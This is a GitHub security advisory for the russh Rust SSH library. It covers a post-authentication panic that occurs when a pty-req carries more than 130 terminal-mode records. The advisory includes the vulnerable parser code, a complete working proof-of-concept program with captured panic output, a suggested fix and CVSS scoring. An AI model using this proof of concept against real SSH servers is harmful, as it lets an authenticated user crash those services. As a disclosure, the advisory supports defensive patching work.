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Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records

Moderate severity GitHub Reviewed Published Jul 22, 2026 in Eugeny/russh • Updated Jul 24, 2026

Package

cargo russh (Rust)

Affected versions

<= 0.62.3

Patched versions

0.62.4

Description

Summary

A post-authentication denial-of-service panic in russh 0.62.2 (commit
c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as
of 2026-07-22). An authenticated client sends a pty-req channel request
carrying more than 130 terminal-mode records. The parser uses a fixed
[(Pty::TTY_OP_END, 0); 130] array but increments its counter i for every
valid record (logging "too many pty codes" without returning), then slices
&modes[0..i] — an out-of-bounds slice that panics (range end index 131 out of range for slice of length 130) before the application pty_request
handler runs.

This is reachable with the default server configuration and the default
crypto config (curve25519-sha256 + chacha20-poly1305), requiring only an
authenticated session channel — no caller-supplied parameter. It is reproduced
end-to-end against the unmodified real russh 0.62.2 library (a real
russh::client + russh::server over TCP, using the public
Channel::request_pty(...) API); the PoC below links the real crate, not a
copied snippet. The defect is still present on main HEAD (v0.62.3,
2026-07-22) and is not covered by any of the 11 published russh GHSA
advisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string
parsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this
code path still overflows the fixed array).

Rust bounds-checked panics abort the task safely (no memory corruption / RCE);
the impact is remote denial of service.

Details

russh/src/server/encrypted.rs, pty-req handling (lines 1137–1201):

let mut modes = [(Pty::TTY_OP_END, 0); 130];     // fixed 130-entry array (line 1137)
let mut i = 0;
...
while !mode_bytes.is_empty() {
    let code = mode_bytes[0];
    if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }
    if mode_bytes.len() < 5 { return Err(...); }
    let num = BigEndian::read_u32(&mode_bytes[1..5]);
    if let Some(code) = Pty::from_u8(code) {
        if i < 130 {
            modes[i] = (code, num);
        } else {
            error!("pty-req: too many pty codes");   // logs, does NOT return (line 1162)
        }
    }
    i += 1;                                          // keeps growing past 130
    mode_bytes = &mode_bytes[5..];
}
...
handler.pty_request(channel_num, &term, ..., &modes[0..i], self).await  // line 1201 — OOB when i > 130

Each terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value),
and i += 1 runs for every valid record (including repeats of the same
opcode). The if i < 130 write-gate prevents an in-array overflow but the
counter still grows unbounded, and the later &modes[0..i] slice has no
corresponding bound. SSH packet-size limits do not bound the mode count to
130, so a single normal-sized pty-req can carry hundreds of mode records.
The client's own request_pty serialization (russh/src/client/session.rs:

((1 + 5 * terminal_modes.len()) as u32).encode(&mut enc.write)?;   // line 129
for &(code, value) in terminal_modes {
    if code == Pty::TTY_OP_END { continue; }
    (code as u8).encode(&mut enc.write)?;
    value.encode(&mut enc.write)?;                                   // line 135
}

writes every record with no count cap, so 131 records reach the server as a
legitimate authenticated channel request.

PoC

The PoC is a standalone examples/ binary that links the unmodified real
russh 0.62.2 crate and reproduces over a real TCP connection with the default
crypto config. It runs an ATTACK case (131 mode records → panic) and a CONTROL
case (130 mode records → parses fine), proving the panic is caused
specifically by exceeding the 130-entry array.

One-line reproducer

# Drop the .rs below into russh/examples/ of a checkout of
# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_c15_pty_modes_panic
RUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic

russh/examples/e2e_c15_pty_modes_panic.rs

// End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode
// records panics the russh server in its pty-req parser.
//
// A real `russh::client` + `russh::server` with the DEFAULT crypto config
// (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none),
// opens a session channel, and calls the public Channel::request_pty(...) API
// with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server
// panics in its pty-req parser (&modes[0..i] OOB) on 131, parses fine on 130.

use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Arc, Mutex};

use russh::keys::Algorithm;
use russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session};
use russh::{Channel, ChannelId, Pty};
use tokio::net::TcpListener;

#[tokio::main]
async fn main() {
    println!("=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\n");

    let (atk_panic, atk_handler) = run_case(131, "ATTACK ").await; // expect panic
    println!();
    let (ctl_panic, ctl_handler) = run_case(130, "CONTROL").await; // expect ok

    println!("\n=== summary ===");
    println!("case    | server panicked | pty_request handler ran");
    println!("ATTACK  | {atk_panic:<15} | {atk_handler}   (131 mode records)");
    println!("CONTROL | {ctl_panic:<15} | {ctl_handler}   (130 mode records)");

    if atk_panic && !atk_handler && !ctl_panic && ctl_handler {
        println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
        println!("   A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`");
        println!("   carrying 131 valid terminal-mode records makes the real");
        println!("   russh server panic in its pty-req parser");
        println!("   (range end index 131 out of range for slice of length 130)");
        println!("   before the application pty_request handler runs.");
    } else {
        eprintln!("NOT reproduced");
        std::process::exit(1);
    }
}

async fn run_case(num_modes: usize, label: &'static str) -> (bool, bool) {
    let panicked = Arc::new(AtomicBool::new(false));
    {
        let flag = panicked.clone();
        let prev = std::panic::take_hook();
        std::panic::set_hook(Box::new(move |info| {
            flag.store(true, Ordering::SeqCst);
            eprintln!("[{label} server task panicked] {info}");
            prev(info);
        }));
    }

    let events: Arc<Mutex<Vec<&'static str>>> = Arc::new(Mutex::new(Vec::new()));

    // real russh server, DEFAULT crypto config (curve25519 + chacha20)
    let mut config = server::Config::default();
    config.inactivity_timeout = None;
    config.auth_rejection_time = std::time::Duration::from_millis(1);
    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
    config.keys.push(russh::keys::PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap());
    let config = Arc::new(config);

    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
    let addr = listener.local_addr().unwrap();

    let server_events = events.clone();
    let server_task = tokio::spawn(async move {
        let (socket, _peer) = listener.accept().await.unwrap();
        let handler = PtyServer { events: server_events };
        let session = server::run_stream(config, socket, handler).await.unwrap();
        session.await
    });

    // real russh client (default config: real ECDH + encryption + auth)
    let client_config = Arc::new(russh::client::Config::default());
    let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();
    let auth = session.authenticate_none("attacker").await.unwrap();
    assert!(auth.success(), "[{label}] auth_none did not succeed");

    let channel = session.channel_open_session().await.unwrap();
    println!("[{label}] authenticated + opened session channel");

    // terminal_modes: num_modes records of (VINTR, 42). The client serializes
    // all of them with no count cap (client/session.rs:129-137).
    let modes: Vec<(Pty, u32)> = vec![(Pty::VINTR, 42u32); num_modes];
    let want_reply = true;

    let pty_result = tokio::time::timeout(
        std::time::Duration::from_secs(3),
        channel.request_pty(want_reply, "xterm", 80, 24, 0, 0, &modes),
    ).await;
    println!("[{label}] client request_pty({num_modes} modes) -> {pty_result:?}");

    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
    let server_panicked = panicked.load(Ordering::SeqCst);
    let handler_ran = events.lock().unwrap().contains(&"pty_request");
    println!("[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}");
    let _ = std::panic::take_hook();
    (server_panicked, handler_ran)
}

#[derive(Clone)]
struct PtyServer { events: Arc<Mutex<Vec<&'static str>>> }
impl PtyServer {
    fn record(&self, e: &'static str) { self.events.lock().unwrap().push(e); }
}
impl Handler for PtyServer {
    type Error = russh::Error;
    async fn auth_none(&mut self, _user: &str) -> Result<Auth, Self::Error> { Ok(Auth::Accept) }
    async fn channel_open_session(
        &mut self, _channel: Channel<Msg>, reply: ChannelOpenHandle, _session: &mut Session,
    ) -> Result<(), Self::Error> { reply.accept().await; Ok(()) }
    async fn pty_request(
        &mut self, _channel: ChannelId, _term: &str, _col_width: u32, _row_height: u32,
        _pix_width: u32, _pix_height: u32, _modes: &[(Pty, u32)], _session: &mut Session,
    ) -> Result<(), Self::Error> { self.record("pty_request"); Ok(()) }
}

#[derive(Clone)]
struct AcceptAllClient {}
impl russh::client::Handler for AcceptAllClient {
    type Error = russh::Error;
    async fn check_server_key(
        &mut self, _server_public_key: &russh::keys::PublicKey,
    ) -> Result<bool, Self::Error> { Ok(true) }
}

Real captured output (ATTACK, RUST_BACKTRACE=1):

[ATTACK ] client request_pty(131 modes) -> Ok(Ok(()))
[ATTACK  server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:
range end index 131 out of range for slice of length 130
thread 'tokio-rt-worker' panicked at russh/src/server/encrypted.rs:1201:39
stack backtrace:
   3: <Session>::server_read_authenticated::<PtyServer>
   4: <Session>::process_packet::<PtyServer>
   5: russh::server::reply::<PtyServer>
[ATTACK ] server task panicked = true, pty_request handler ran = false
[CONTROL] server task panicked = false, pty_request handler ran = true
=> CONFIRMED (end-to-end, real russh 0.62.2)

The panic occurs in russh's own post-auth parser before any application
handler is invoked.

Impact

Remote, post-authentication denial of service of any russh SSH server using
the default configuration.
Any authenticated client with a session channel can
crash the russh server task with a single SSH_MSG_CHANNEL_REQUEST pty-req
carrying 131+ terminal-mode records (each record is 5 bytes, so 131 records
fit in one normal-sized packet). This is trivially reachable for any legitimate
or compromised SSH user. DoS only — Rust bounds-checked panics abort the task
safely; there is no memory corruption or RCE.

Suggested fix

Cap i at 130 and reject the request instead of logging and continuing:

if i >= 130 {
    return Err(Error::Inconsistent.into());   // reject instead of logging+continuing
}
modes[i] = (code, num);

Affected versions

  • russh <= 0.62.3 (commit c4be19f1915c / current main HEAD
    v0.62.3, 2026-07-22). The bug is still present on main; it is not covered
    by any of the 11 published russh GHSA advisories. Default server::Config
    and client::Config are affected (no feature flag or opt-in).

Credit

Reported by the diff/ambidiff security research effort (afldl). Happy to
coordinate a disclosure timeline; will request a CVE once confirmed.

References

@Eugeny Eugeny published to Eugeny/russh Jul 22, 2026
Published to the GitHub Advisory Database Jul 24, 2026
Reviewed Jul 24, 2026
Last updated Jul 24, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

EPSS score

Weaknesses

Improper Validation of Array Index

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-cqjc-rmpq-xprq

Source code

Credits

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